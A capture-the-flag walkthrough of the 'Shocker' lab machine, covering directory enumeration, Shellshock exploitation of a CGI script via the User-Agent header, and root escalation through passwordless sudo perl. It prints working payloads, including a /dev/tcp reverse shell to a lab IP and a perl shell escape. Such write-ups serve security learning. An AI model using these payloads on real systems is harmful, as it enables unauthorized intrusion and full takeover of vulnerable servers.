Setup
I began by adding the IP address of my Shocker machine instance to my /etc/hosts file with the value of shocker. This means that wherever I want to use the IP address of the machine, I can just use shocker instead of needing to remember the IP address.
I opened the /etc/hosts file for editing with sudo nano /etc/hosts and added an entry as below:
Initial Enumeration
Nmap
I began with an nmap scan of the target with nmap -sC -sV -oA nmap/shocker shocker -Pn which returned:
HTTP
I began by investigating the HTTP service on port 80 by visiting http://shocker in Firefox which gave me a page with an image and not much else:
With nothing else to go on, I used Gobuster to try and find any directories or files that may be on the web server. I tried multiple wordlists but could only get one result for a /server-status page:
I decided to use a different tool, dirb on this occasion, to see if this would give me different results. I ran dirb "http://shocker" – if no wordlist is specified then it will use its default wordlist located at /usr/share/dirb/wordlists/common.txt. This returned me an extra directory that Gobuster didn’t find, /cgi-bin/:
I looked back at the wordlist that I had used with Gobuster and the value of cgi-bin was present so I was confused as to why it wasn’t found. After completing the box, I did some searching around online and found that the target seems to be misconfigured to require a trailing slash at the end of /cgi-bin – Gobuster will add this trailing slash if the -f flag is used whereas dirb seems to try both with and without a trailing slash. Its always good to remember that if you are getting the results you expect, try another tool as they all work slightly differently.
The CGI in cgi-bin stands for Common Gateway Interface and the directory is a place where executable scripts are stored. These scripts can then be executed to produce dynamic web content. I found that scripts can be in a multitude of programming languages such as Perl, Python and Bash so I decided to use Gobuster again to see whether this cgi-bin contained any executable scripts that may be of interest.
I ran gobuster dir -u "http://shocker/cgi-bin/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -t 100 -x pl,py,sh -b 403,404 and the results showed that the directory contained a file called user.sh:
The -x flag sets the extensions to use to search for files, as I knew that potential files could be Perl, Python or Bash, I started with the pl, py and sh extensions. The -b flag sets response codes for Gobuster to ignore. I was getting a lot of 403 results which weren’t of interest to me so I used the -b flag to suppress these. By default, Gobuster will run with 404 response codes ignored, by using the -b flag I was overwriting these default behaviour so was required to add the 404 response code manually.
I used Firefox to access the user.sh file and the file was automatically downloaded to my Kali machine. Viewing the contents of the file, I found it to be the output of the uptime command, presumably being executed on the target machine:
From the name of the box, I had guessed that it would be vulnerable to the Shellshock vulnerability but I wasn’t sure how to exploit it. Looking online for ideas, I found this blog here that gives a background on the vulnerability and a POC to exploit it – https://antonyt.com/blog/2020-03-27/exploiting-cgi-scripts-with-shellshock
Shellshock is a vulnerability in certain versions of Bash that allow an attacker to execute arbitrary commands. This occurs when a function definition is stored within an environment variable – if user input is stored within an environment variable then malicious code can be introduced by an attacker.
In Bash, the string () { :;}; is interpreted as the definition of a function. The body of the function is the : which, in Bash, does nothing and returns the exit code of 0. Vulnerable versions of Bash will execute any code that follows the definition of the function. On a vulnerable machine, the payload () { :;}; echo vulnerable would first create the function definition as described above and then execute the echo vulnerable command which should display vulnerable as part of the output.
Web servers can be vulnerable to Shellshock when using CGI as information passed in the web request (User Agent, Referrer etc.) is stored in environment variables. This means that if a malicious payload is passed as part of the web request, this will be stored in an environment variable and trigger the functionality described above – executing code that has been provided by an attacker.
With an understanding of how to exploit the vulnerability, I set about trying to exploit this on the target machine.
When enumerating websites, I always proxy my traffic through Burpsuite so that I can review more details about requests, responses and use the useful tools such as Repeater etc. I found my previous request for the /user.sh CGI script and sent this to Repeater so that I could manipulate the request.
Knowing that the user agent would be stored in an environment variable, I replaced the user agent with the malicious payload of () { :;}; echo vulnerable to print out the string vulnerable. This didn’t work at first but, reviewing the POC from the blog above, it seemed that I needed to add an additional echo statement when wanting to print a string as part of the output. This made my new payload () { :;}; echo; echo vulnerable which, when added as the user-agent of a request to /user.sh (1), returned the value of vulnerable (2) proving that the exploit was a success:
With code execution on the target machine, my next step was to try and get a reverse shell on my Kali machine. I modified the payload to create a reverse shell to port 4444 on my local machine – () { :;}; /bin/sh -i >& /dev/tcp/10.10.14.169/4444 0>&1. I updated the User-Agent header to this payload, created a listener on my Kali machine with nc -lvnp 4444, sent the request in Repeater and, after a few seconds, I received a reverse shell as the shelly user:
The user.txt flag of 1c2**************************5bf was found in the /home/shelly directory:
cat user.txt
1c2**************************5bf
Privilege Escalation
I started trying to escalate my privileges by checking sudo -l to see if the shelly user was in the sudoers file. They were and were able to run the /usr/bin/perl command as root without a password:
GTFOBins showed that being able to execute /usr/bin/perl as the root user would allow a shell to be opened as the root user, thereby achieving privilege escalation. I ran sudo perl -e 'exec "/bin/sh";' which created a new shell as the root user:
The root.txt flag of b4c**************************026 was found in the /root directory:
cat root.txt
b4c**************************026